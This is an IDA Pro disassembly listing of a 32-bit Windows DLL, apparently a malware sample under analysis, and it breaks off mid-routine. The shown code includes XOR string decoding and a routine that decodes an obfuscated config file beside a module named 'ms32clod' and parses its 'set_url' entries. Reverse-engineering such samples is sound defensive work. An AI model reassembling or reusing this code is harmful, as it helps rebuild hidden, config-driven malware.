;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	4FAAB4A9F58D3FBFF9BAA89E9211C0A5


		include	uni.inc	; see unicode subdir of	ida for	info on	unicode

		.686p
		.mmx
		.model flat

; ===========================================================================

; [00001000 BYTES: COLLAPSED SEGMENT HEADER. PRESS KEYPAD "+" TO EXPAND]
; File Name   :	u:\work\4faab4a9f58d3fbff9baa89e9211c0a5_orig.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	10000000
; Section 1. (virtual address 00001000)
; Virtual size			: 0001C2F1 ( 115441.)
; Section size in file		: 0001C400 ( 115712.)
; Offset to raw	data for section: 00000400
; Flags	60000020: Text Executable Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 10001000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10001000	proc near		; DATA XREF: .data:10022004o
		push	ebp
		mov	ebp, esp
		call	sub_1000100F
		call	sub_10001028
		pop	ebp
		retn
sub_10001000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000100F	proc near		; CODE XREF: sub_10001000+3p
		push	ebp
		mov	ebp, esp
		mov	ecx, offset dword_10034238
		call	??0_Iterator_base@std@@QAE@XZ ;	std::_Iterator_base::_Iterator_base(void)
		mov	ecx, offset dword_1002C200
		call	??0_Iterator_base@std@@QAE@XZ ;	std::_Iterator_base::_Iterator_base(void)
		pop	ebp
		retn
sub_1000100F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10001028	proc near		; CODE XREF: sub_10001000+8p
		push	ebp
		mov	ebp, esp
		push	offset sub_1000103A ; void (__cdecl *)()
		call	_atexit
		add	esp, 4
		pop	ebp
		retn
sub_10001028	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void __cdecl sub_1000103A()

sub_1000103A	proc near		; DATA XREF: sub_10001028+3o
		push	ebp
		mov	ebp, esp
		mov	ecx, offset dword_1002C200
		call	sub_10018E14
		mov	ecx, offset dword_10034238
		call	sub_10018E14
		pop	ebp
		retn
sub_1000103A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10001053	proc near		; DATA XREF: .data:10022008o
		push	ebp
		mov	ebp, esp
		call	sub_1000105D
		pop	ebp
		retn
sub_10001053	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000105D	proc near		; CODE XREF: sub_10001053+3p
		push	ebp
		mov	ebp, esp
		push	0C8h
		push	0C8h
		push	0
		push	0
		mov	ecx, offset dword_10030218
		call	sub_1000CF50
		pop	ebp
		retn
sub_1000105D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000107A	proc near		; DATA XREF: .data:1002200Co
		push	ebp
		mov	ebp, esp
		call	sub_10001089
		call	sub_1000109A
		pop	ebp
		retn
sub_1000107A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10001089	proc near		; CODE XREF: sub_1000107A+3p
		push	ebp
		mov	ebp, esp
		push	0
		mov	ecx, offset dword_100281E0
		call	sub_1000E100
		pop	ebp
		retn
sub_10001089	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000109A	proc near		; CODE XREF: sub_1000107A+8p
		push	ebp
		mov	ebp, esp
		push	offset sub_100010AC ; void (__cdecl *)()
		call	_atexit
		add	esp, 4
		pop	ebp
		retn
sub_1000109A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void __cdecl sub_100010AC()

sub_100010AC	proc near		; DATA XREF: sub_1000109A+3o
		push	ebp
		mov	ebp, esp
		mov	ecx, offset dword_100281E0
		call	sub_1000E1D0
		pop	ebp
		retn
sub_100010AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_100010BB(char	*Str, int, void	*Dest)

sub_100010BB	proc near		; CODE XREF: sub_100020B5+383p
					; sub_1000291D+A2p ...

var_14		= dword	ptr -14h
Source		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Dest		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	400h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+Dest], eax
		push	400h		; Size
		push	0		; Val
		mov	eax, [ebp+Dest]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	ecx, [ebp+Str]
		push	ecx		; Str
		call	strlen	; strlen
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	edx, [ebp+arg_4]
		push	edx		; Str
		call	strlen	; strlen
		add	esp, 4
		mov	[ebp+var_8], eax
		mov	[ebp+var_C], 0
		jmp	short loc_10001115
; ---------------------------------------------------------------------------


loc_1000110C:				; CODE XREF: sub_100010BB+AAj
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax


loc_10001115:				; CODE XREF: sub_100010BB+4Fj
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_4]
		jge	short loc_10001167
		mov	edx, [ebp+Str]
		add	edx, [ebp+var_C]
		mov	al, [edx]
		mov	[ebp+Source], al
		mov	ecx, [ebp+var_8]
		sub	ecx, 1
		mov	[ebp+var_14], ecx
		jmp	short loc_1000113C
; ---------------------------------------------------------------------------


loc_10001133:				; CODE XREF: sub_100010BB+95j
		mov	edx, [ebp+var_14]
		sub	edx, 1
		mov	[ebp+var_14], edx


loc_1000113C:				; CODE XREF: sub_100010BB+76j
		cmp	[ebp+var_14], 0
		jl	short loc_10001152
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_14]
		mov	cl, [ebp+Source]
		xor	cl, [eax]
		mov	[ebp+Source], cl
		jmp	short loc_10001133
; ---------------------------------------------------------------------------


loc_10001152:				; CODE XREF: sub_100010BB+85j
		push	1		; Count
		lea	edx, [ebp+Source]
		push	edx		; Source
		mov	eax, [ebp+Dest]
		push	eax		; Dest
		call	ds:strncat	; strncat
		add	esp, 0Ch
		jmp	short loc_1000110C
; ---------------------------------------------------------------------------


loc_10001167:				; CODE XREF: sub_100010BB+60j
		mov	eax, [ebp+Dest]
		mov	esp, ebp
		pop	ebp
		retn
sub_100010BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000116E	proc near		; CODE XREF: TimerFunc+3A4p
					; sub_1000E66B+198p

var_8		= dword	ptr -8
Str		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+Str], offset a? ; "\\/:*\"<>|?"
		mov	[ebp+var_8], 0
		jmp	short loc_1000118D
; ---------------------------------------------------------------------------


loc_10001184:				; CODE XREF: sub_1000116E:loc_100011D3j
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_1000118D:				; CODE XREF: sub_1000116E+14j
		mov	ecx, [ebp+Str]
		push	ecx		; Str
		call	strlen	; strlen
		add	esp, 4
		cmp	[ebp+var_8], eax
		jnb	short loc_100011D5
		mov	edx, [ebp+Str]
		add	edx, [ebp+var_8]
		movsx	eax, byte ptr [edx]
		push	eax		; Val
		mov	ecx, [ebp+arg_0]
		push	ecx		; Str
		call	ds:strchr	; strchr
		add	esp, 8
		test	eax, eax
		jz	short loc_100011D3
		mov	edx, [ebp+Str]
		add	edx, [ebp+var_8]
		movsx	eax, byte ptr [edx]
		push	eax		; Val
		mov	ecx, [ebp+arg_0]
		push	ecx		; Str
		call	ds:strchr	; strchr
		add	esp, 8
		mov	byte ptr [eax],	5Fh


loc_100011D3:				; CODE XREF: sub_1000116E+49j
		jmp	short loc_10001184
; ---------------------------------------------------------------------------


loc_100011D5:				; CODE XREF: sub_1000116E+2Ej
		mov	eax, [ebp+arg_0]
		mov	esp, ebp
		pop	ebp
		retn
sub_1000116E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_100011DC(char	*Source, int, char *Str)

sub_100011DC	proc near		; CODE XREF: sub_100015CE+202p
					; sub_10003786+138p ...

var_10		= dword	ptr -10h
Count		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Source		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Str		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_8], 0
		mov	[ebp+var_4], 0
		mov	eax, [ebp+Source]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+Source]
		push	ecx		; Str
		call	strlen	; strlen
		add	esp, 4
		test	eax, eax
		jbe	loc_100012CA


loc_1000120A:				; CODE XREF: sub_100011DC+DEj
		cmp	[ebp+var_4], 0
		jnz	loc_100012BF
		mov	edx, [ebp+Str]
		push	edx		; SubStr
		mov	eax, [ebp+Source]
		push	eax		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		sub	eax, [ebp+Source]
		mov	[ebp+Count], eax
		cmp	[ebp+Count], 0
		jge	short loc_10001249
		mov	ecx, [ebp+Source]
		push	ecx		; Str
		call	strlen	; strlen
		add	esp, 4
		mov	[ebp+Count], eax
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_10001249:				; CODE XREF: sub_100011DC+53j
		mov	eax, [ebp+Count]
		add	eax, 1
		push	eax		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		mov	[edx+ecx*4], eax
		mov	eax, [ebp+Count]
		add	eax, 1
		push	eax		; Size
		push	0		; Val
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+ecx*4]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	ecx, [ebp+Count]
		push	ecx		; Count
		mov	edx, [ebp+Source]
		push	edx		; Source
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+eax*4]
		push	edx		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		mov	eax, [ebp+Str]
		push	eax		; Str
		call	strlen	; strlen
		add	esp, 4
		mov	ecx, [ebp+Count]
		add	ecx, eax
		mov	edx, [ebp+Source]
		add	edx, ecx
		mov	[ebp+Source], edx
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		jmp	loc_1000120A
; ---------------------------------------------------------------------------


loc_100012BF:				; CODE XREF: sub_100011DC+32j
		mov	ecx, [ebp+var_10]
		mov	[ebp+Source], ecx
		mov	eax, [ebp+var_8]
		jmp	short loc_100012CD
; ---------------------------------------------------------------------------


loc_100012CA:				; CODE XREF: sub_100011DC+28j
		or	eax, 0FFFFFFFFh


loc_100012CD:				; CODE XREF: sub_100011DC+ECj
		mov	esp, ebp
		pop	ebp
		retn
sub_100011DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_100012D1(char	*lpString2, char *SubStr, int, LPSTR Dest, int)

sub_100012D1	proc near		; CODE XREF: sub_1000A318+C00p
					; sub_10012894+179p ...

Source		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
lpString2	= dword	ptr  8
SubStr		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Dest		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	[ebp+var_18], 0
		mov	eax, [ebp+lpString2]
		push	eax		; Str
		call	strlen	; strlen
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+SubStr]
		push	ecx		; Str
		call	strlen	; strlen
		add	esp, 4
		mov	[ebp+var_14], eax
		mov	edx, [ebp+arg_8]
		push	edx		; Str
		call	strlen	; strlen
		add	esp, 4
		mov	[ebp+var_10], eax
		mov	eax, [ebp+lpString2]
		mov	[ebp+Source], eax


loc_10001311:				; CODE XREF: sub_100012D1+6Cj
		mov	ecx, [ebp+SubStr]
		push	ecx		; SubStr
		mov	edx, [ebp+Source]
		push	edx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		mov	[ebp+Source], eax
		cmp	[ebp+Source], 0
		jz	short loc_1000133F
		mov	eax, [ebp+var_18]
		add	eax, 1
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+Source]
		add	ecx, 1
		mov	[ebp+Source], ecx
		jmp	short loc_10001311
; ---------------------------------------------------------------------------


loc_1000133F:				; CODE XREF: sub_100012D1+58j
		cmp	[ebp+var_18], 0
		jnz	short loc_1000135B
		mov	edx, [ebp+lpString2]
		push	edx		; lpString2
		mov	eax, [ebp+Dest]
		push	eax		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	eax, [ebp+var_18]
		jmp	loc_100013FA
; ---------------------------------------------------------------------------


loc_1000135B:				; CODE XREF: sub_100012D1+72j
		mov	ecx, [ebp+var_14]
		imul	ecx, [ebp+var_18]
		mov	edx, [ebp+var_C]
		sub	edx, ecx
		mov	eax, [ebp+var_10]
		imul	eax, [ebp+var_18]
		add	edx, eax
		mov	[ebp+var_4], edx
		mov	ecx, [ebp+lpString2]
		mov	[ebp+Source], ecx
		mov	[ebp+var_18], 0


loc_10001380:				; CODE XREF: sub_100012D1+114j
		mov	edx, [ebp+SubStr]
		push	edx		; SubStr
		mov	eax, [ebp+Source]
		push	eax		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_100013A2
		mov	ecx, [ebp+arg_10]
		cmp	ecx, [ebp+var_18]
		jnz	short loc_100013A4


loc_100013A2:				; CODE XREF: sub_100012D1+C7j
		jmp	short loc_100013E7
; ---------------------------------------------------------------------------


loc_100013A4:				; CODE XREF: sub_100012D1+CFj
		mov	edx, [ebp+var_18]
		add	edx, 1
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+Source]
		push	eax		; Count
		mov	ecx, [ebp+Source]
		push	ecx		; Source
		mov	edx, [ebp+Dest]
		push	edx		; Dest
		call	ds:strncat	; strncat
		add	esp, 0Ch
		mov	eax, [ebp+arg_8]
		push	eax		; Source
		mov	ecx, [ebp+Dest]
		push	ecx		; Dest
		call	strcat	; strcat
		add	esp, 8
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_14]
		mov	[ebp+Source], edx
		mov	eax, 1
		test	eax, eax
		jnz	short loc_10001380


loc_100013E7:				; CODE XREF: sub_100012D1:loc_100013A2j
		mov	ecx, [ebp+Source]
		push	ecx		; Source
		mov	edx, [ebp+Dest]
		push	edx		; Dest
		call	strcat	; strcat
		add	esp, 8
		mov	eax, [ebp+var_18]


loc_100013FA:				; CODE XREF: sub_100012D1+85j
		mov	esp, ebp
		pop	ebp
		retn
sub_100012D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100013FE	proc near		; CODE XREF: sub_100020B5+206p
					; sub_100020B5+5D1p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_10001414
; ---------------------------------------------------------------------------


loc_1000140B:				; CODE XREF: sub_100013FE:loc_10001434j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_10001414:				; CODE XREF: sub_100013FE+Bj
		mov	ecx, [ebp+arg_4]
		sub	ecx, 1
		cmp	[ebp+var_4], ecx
		jnb	short loc_10001436
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		test	eax, eax
		jnz	short loc_10001434
		mov	eax, 1
		jmp	short loc_10001438
; ---------------------------------------------------------------------------


loc_10001434:				; CODE XREF: sub_100013FE+2Dj
		jmp	short loc_1000140B
; ---------------------------------------------------------------------------


loc_10001436:				; CODE XREF: sub_100013FE+1Fj
		xor	eax, eax


loc_10001438:				; CODE XREF: sub_100013FE+34j
		mov	esp, ebp
		pop	ebp
		retn
sub_100013FE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 40Ch
		push	edi
		mov	dword ptr [ebp-404h], 0
		mov	dword ptr [ebp-408h], 0
		mov	byte ptr [ebp-400h], 0
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-3FFh]
		rep stosd
		stosw
		stosb


loc_10001473:				; CODE XREF: .text:100015C1j
		mov	eax, [ebp+8]
		push	eax
		call	ds:lstrlenA	; lstrlenA
		cmp	[ebp-404h], eax
		jge	loc_100015C6
		cmp	dword ptr [ebp-408h], 0
		jnz	loc_1000152B
		mov	ecx, [ebp+8]
		add	ecx, [ebp-404h]
		mov	dl, [ecx]
		mov	[ebp-40Ch], dl
		cmp	byte ptr [ebp-40Ch], 0Ah
		jz	short loc_100014C4
		cmp	byte ptr [ebp-40Ch], 0Dh
		jz	short loc_100014C4
		cmp	byte ptr [ebp-40Ch], 20h
		jz	short loc_100014C6
		jmp	short loc_1000150F
; ---------------------------------------------------------------------------


loc_100014C4:				; CODE XREF: .text:100014AEj
					; .text:100014B7j
		jmp	short loc_1000152B
; ---------------------------------------------------------------------------


loc_100014C6:				; CODE XREF: .text:100014C0j
		lea	eax, [ebp-400h]
		push	eax
		call	ds:lstrlenA	; lstrlenA
		movsx	ecx, byte ptr [ebp+eax-400h]
		cmp	ecx, 20h
		jz	short loc_1000150D
		lea	edx, [ebp-400h]
		push	edx
		call	ds:lstrlenA	; lstrlenA
		test	eax, eax
		jle	short loc_1000150D
		push	1
		mov	eax, [ebp+8]
		add	eax, [ebp-404h]
		push	eax
		lea	ecx, [ebp-400h]
		push	ecx
		call	ds:strncat	; strncat
		add	esp, 0Ch


loc_1000150D:				; CODE XREF: .text:100014DEj
					; .text:100014EFj
		jmp	short loc_1000152B
; ---------------------------------------------------------------------------


loc_1000150F:				; CODE XREF: .text:100014C2j
		push	1
		mov	edx, [ebp+8]
		add	edx, [ebp-404h]
		push	edx
		lea	eax, [ebp-400h]
		push	eax
		call	ds:strncat	; strncat
		add	esp, 0Ch


loc_1000152B:				; CODE XREF: .text:10001490j
					; .text:loc_100014C4j ...
		mov	ecx, [ebp+8]
		add	ecx, [ebp-404h]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 3Ch
		jnz	short loc_10001597
		lea	eax, [ebp-400h]
		push	eax
		call	ds:lstrlenA	; lstrlenA
		mov	byte ptr [ebp+eax-401h], 0
		lea	ecx, [ebp-400h]
		push	ecx
		call	ds:lstrlenA	; lstrlenA
		test	eax, eax
		jle	short loc_1000158D
		lea	edx, [ebp-400h]
		push	edx
		mov	eax, [ebp+0Ch]
		push	eax
		call	strcat	; strcat
		add	esp, 8
		push	offset asc_10022608 ; "\r\n"
		mov	ecx, [ebp+0Ch]
		push	ecx
		call	strcat	; strcat
		add	esp, 8
		mov	byte ptr [ebp-400h], 0


loc_1000158D:				; CODE XREF: .text:10001560j
		mov	dword ptr [ebp-408h], 1


loc_10001597:				; CODE XREF: .text:1000153Aj
		mov	edx, [ebp+8]
		add	edx, [ebp-404h]
		movsx	eax, byte ptr [edx]
		cmp	eax, 3Eh
		jnz	short loc_100015B2
		mov	dword ptr [ebp-408h], 0


loc_100015B2:				; CODE XREF: .text:100015A6j
		mov	ecx, [ebp-404h]
		add	ecx, 1
		mov	[ebp-404h], ecx
		jmp	loc_10001473
; ---------------------------------------------------------------------------


loc_100015C6:				; CODE XREF: .text:10001483j
		mov	eax, [ebp+0Ch]
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_100015CE(LPCSTR lpString2)

sub_100015CE	proc near		; CODE XREF: sub_1000B7EF+126p

var_78C		= dword	ptr -78Ch
var_788		= dword	ptr -788h
var_784		= dword	ptr -784h
var_780		= dword	ptr -780h
var_77C		= dword	ptr -77Ch
var_778		= dword	ptr -778h
FileName	= byte ptr -774h
var_674		= dword	ptr -674h
var_670		= byte ptr -670h
var_66C		= dword	ptr -66Ch
var_668		= dword	ptr -668h
var_664		= dword	ptr -664h
Buffer		= byte ptr -660h
hObject		= dword	ptr -658h
var_654		= dword	ptr -654h
var_650		= dword	ptr -650h
Memory		= dword	ptr -64Ch
NumberOfBytesRead= dword ptr -0Ch
var_8		= dword	ptr -8
Str		= dword	ptr -4
lpString2	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 78Ch
		mov	[ebp+var_66C], 0
		mov	[ebp+var_674], 0
		mov	[ebp+var_77C], 0
		mov	[ebp+var_654], 0FFFFFFFFh
		mov	[ebp+var_778], 0
		mov	[ebp+var_668], 0
		mov	[ebp+var_650], 0
		mov	[ebp+var_664], 0
		mov	[ebp+var_8], 0
		push	0FFh		; nSize
		lea	eax, [ebp+FileName]
		push	eax		; lpFilename
		push	offset ModuleName ; "ms32clod"
		call	ds:GetModuleHandleA	; GetModuleHandleA
		push	eax		; hModule
		call	ds:GetModuleFileNameA	; GetModuleFileNameA
		push	5Ch		; Ch
		lea	ecx, [ebp+FileName]
		push	ecx		; Str
		call	ds:strrchr	; strrchr
		add	esp, 8
		mov	byte ptr [eax+1], 0
		mov	edx, [ebp+lpString2]
		push	edx		; lpString2
		lea	eax, [ebp+FileName]
		push	eax		; lpString1
		call	ds:lstrcatA	; lstrcatA
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	0		; dwShareMode
		push	80000000h	; dwDesiredAccess
		lea	ecx, [ebp+FileName]
		push	ecx		; lpFileName
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp+hObject], eax
		cmp	[ebp+hObject], 0FFFFFFFFh
		jz	loc_100017B9
		push	0		; lpFileSizeHigh
		mov	edx, [ebp+hObject]
		push	edx		; hFile
		call	ds:GetFileSize	; GetFileSize
		mov	[ebp+var_780], eax
		push	0		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesRead]
		push	eax		; lpNumberOfBytesRead
		push	5		; nNumberOfBytesToRead
		lea	ecx, [ebp+Buffer]
		push	ecx		; lpBuffer
		mov	edx, [ebp+hObject]
		push	edx		; hFile
		call	ds:ReadFile	; ReadFile
		mov	eax, [ebp+var_780]
		add	eax, 1
		push	eax		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+Str], eax
		mov	ecx, [ebp+var_780]
		add	ecx, 1
		push	ecx		; Size
		push	0		; Val
		mov	edx, [ebp+Str]
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	[ebp+NumberOfBytesRead], 1


loc_10001708:				; CODE XREF: sub_100015CE:loc_100017A5j
		cmp	[ebp+NumberOfBytesRead], 0
		jz	loc_100017AA
		push	0		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesRead]
		push	eax		; lpNumberOfBytesRead
		push	1		; nNumberOfBytesToRead
		lea	ecx, [ebp+var_670]
		push	ecx		; lpBuffer
		mov	edx, [ebp+hObject]
		push	edx		; hFile
		call	ds:ReadFile	; ReadFile
		mov	[ebp+var_784], 0
		jmp	short loc_10001749
; ---------------------------------------------------------------------------


loc_1000173A:				; CODE XREF: sub_100015CE+19Dj
		mov	eax, [ebp+var_784]
		add	eax, 1
		mov	[ebp+var_784], eax


loc_10001749:				; CODE XREF: sub_100015CE+16Aj
		cmp	[ebp+var_784], 5
		jge	short loc_1000176D
		mov	ecx, [ebp+var_784]
		mov	dl, [ebp+var_670]
		xor	dl, [ebp+ecx+Buffer]
		mov	[ebp+var_670], dl
		jmp	short loc_1000173A
; ---------------------------------------------------------------------------


loc_1000176D:				; CODE XREF: sub_100015CE+182j
		movsx	eax, [ebp+var_670]
		cmp	eax, 0Ah
		jz	short loc_100017A5
		movsx	ecx, [ebp+var_670]
		cmp	ecx, 0Dh
		jz	short loc_100017A5
		mov	edx, [ebp+Str]
		add	edx, [ebp+var_66C]
		mov	al, [ebp+var_670]
		mov	[edx], al
		mov	ecx, [ebp+var_66C]
		add	ecx, 1
		mov	[ebp+var_66C], ecx


loc_100017A5:				; CODE XREF: sub_100015CE+1A9j
					; sub_100015CE+1B5j
		jmp	loc_10001708
; ---------------------------------------------------------------------------


loc_100017AA:				; CODE XREF: sub_100015CE+13Ej
		mov	edx, [ebp+hObject]
		push	edx		; hObject
		call	ds:CloseHandle	; CloseHandle
		jmp	short loc_100017C0
; ---------------------------------------------------------------------------


loc_100017B9:				; CODE XREF: sub_100015CE+CEj
		xor	eax, eax
		jmp	loc_10001D1C
; ---------------------------------------------------------------------------


loc_100017C0:				; CODE XREF: sub_100015CE+1E9j
		push	offset aSet_url	; "set_url "
		lea	eax, [ebp+Memory]
		push	eax		; int
		mov	ecx, [ebp+Str]
		push	ecx		; Source
		call	sub_100011DC
		add	esp, 0Ch
		mov	[ebp+var_668], eax
		mov	edx, [ebp+Str]
		push	edx		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	[ebp+var_654], 0
		mov	[ebp+var_66C], 1
		jmp	short loc_10001810
; ---------------------------------------------------------------------------


loc_10001801:				; CODE XREF: sub_100015CE+744j
		mov	eax, [ebp+var_66C]
		add	eax, 1
		mov	[ebp+var_66C], eax


loc_10001810:				; CODE XREF: sub_100015CE+231j
		mov	ecx, [ebp+var_66C]
		cmp	ecx, [ebp+var_668]
		jge	loc_10001D17
		mov	[ebp+var_664], 0
		mov	[ebp+var_674], 0
		mov	[ebp+var_77C], 0
		mov	edx, [ebp+var_66C]
		mov	eax, [ebp+edx*4+Memory]
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	[ebp+var_778], eax
		mov	ecx, [ebp+var_778]
		add	ecx, 1
		push	ecx		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+Str], eax
		mov	edx, [ebp+var_778]
		add	edx, 1
		push	edx		; Size
		push	0		; Val
		mov	eax, [ebp+Str]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch


loc_10001888:				; CODE XREF: sub_100015CE+70Cj
		mov	ecx, [ebp+var_66C]
		mov	edx, [ebp+ecx*4+Memory]
		push	edx		; lpString
		call	ds:lstrlenA	; lstrlenA
		cmp	[ebp+var_77C], eax
		jle	short loc_100018A9
		jmp	loc_10001CDF
; ---------------------------------------------------------------------------


loc_100018A9:				; CODE XREF: sub_100015CE+2D4j
		mov	eax, [ebp+var_66C]
		mov	ecx, [ebp+eax*4+Memory]
		mov	edx, [ebp+Str]
		add	edx, [ebp+var_674]
		mov	eax, [ebp+var_77C]
		mov	cl, [ecx+eax]
		mov	[edx], cl
		mov	[ebp+var_788], 0
		jmp	short loc_100018E5
; ---------------------------------------------------------------------------


loc_100018D6:				; CODE XREF: sub_100015CE:loc_10001CB7j
		mov	edx, [ebp+var_788]
		add	edx, 1
		mov	[ebp+var_788], edx


loc_100018E5:				; CODE XREF: sub_100015CE+306j
		cmp	[ebp+var_788], 4
		jge	loc_10001CBC
		mov	eax, [ebp+var_788]
		mov	ecx, SubStr[eax*4]
		push	ecx		; SubStr
		mov	edx, [ebp+Str]
		push	edx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	loc_10001CB7
		mov	eax, [ebp+var_788]
		mov	[ebp+var_78C], eax
		cmp	[ebp+var_78C], 3
		ja	loc_10001CAD
		mov	ecx, [ebp+var_78C]
		jmp	ds:off_10001D20[ecx*4]


loc_1000193B:				; DATA XREF: .text:off_10001D20o
		mov	edx, [ebp+var_788]
		mov	eax, SubStr[edx*4]
		push	eax		; SubStr
		mov	ecx, [ebp+Str]
		push	ecx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		mov	byte ptr [eax],	0
		cmp	[ebp+var_664], 0
		jnz	loc_10001A27
		mov	edx, [ebp+Str]
		push	edx		; lpString
		call	ds:lstrlenA	; lstrlenA
		add	eax, 1
		push	eax		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, [ebp+var_654]
		mov	lpString1[ecx*4], eax
		mov	edx, [ebp+Str]
		push	edx		; lpString2
		mov	eax, [ebp+var_654]
		mov	ecx, lpString1[eax*4]
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		push	20h		; Val
		mov	edx, [ebp+var_654]
		mov	eax, lpString1[edx*4]
		push	eax		; Str
		call	ds:strchr	; strchr
		add	esp, 8
		test	eax, eax
		jz	short loc_10001A27
		push	0FFh		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, [ebp+var_654]
		mov	dword_10035724[ecx*4], eax
		push	20h		; Val
		mov	edx, [ebp+var_654]
		mov	eax, lpString1[edx*4]
		push	eax		; Str
		call	ds:strchr	; strchr
		add	esp, 8
		add	eax, 1
		push	eax		; lpString2
		mov	ecx, [ebp+var_654]
